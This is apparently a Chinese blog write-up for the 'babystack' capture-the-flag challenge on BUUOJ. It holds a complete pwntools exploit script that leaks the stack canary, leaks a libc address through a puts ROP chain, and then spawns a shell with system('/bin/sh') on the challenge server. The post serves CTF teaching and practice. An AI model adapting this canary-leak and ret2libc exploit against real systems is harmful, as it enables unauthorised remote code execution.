others_babystack

exp 脚本

  • 运用栈溢出泄露 canary 地址。
  • 栈溢出运用 puts 的 rop 泄露 libc 地址。
  • 再次栈溢出 rop 执行 system('/bin/sh')。
from pwn import *

#context.log_level = 'debug'

io = remote('node3.buuoj.cn',26000)
elf = ELF('./babystack')
pop_rdi = 0x400a93
ret = 0x400a2a
libc = ELF('./libc/libc-2.23.so')

io.sendlineafter('>>','1')
io.sendline('a'*(0x90-0x8)) # canray 最低位的 \x00 被覆盖为 \n
io.sendlineafter('>>','2')
io.recvuntil('a\n')
canary = u64(io.recv(7).rjust(8,'\x00'))

payload = 'a' * 0x88 + p64(canary) + 'a' * 0x8 
payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(0x400908)#注意进入主函数会开启另一个循环

io.sendlineafter('>>','1')
io.sendline(payload)
io.sendlineafter('>>','3')#退出当前循环,也就是回到一开始的循环
io.recv()

puts_addr = u64(io.recv(6).ljust(8,'\x00'))
libcbase = puts_addr - libc.symbols['puts']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search('/bin/sh').next()

payload = 'a' * 0x88 + p64(canary) + 'b' * 0x8
payload += p64(pop_rdi) + p64(binsh) + p64(system)
io.sendlineafter('>>','1')
io.sendline(payload)
io.sendlineafter('>>','3')

io.interactive()


内容来源

others_babystack

posted @ 2020-03-04 17:10  PwnKi  阅读(456)  评论(0编辑  收藏  举报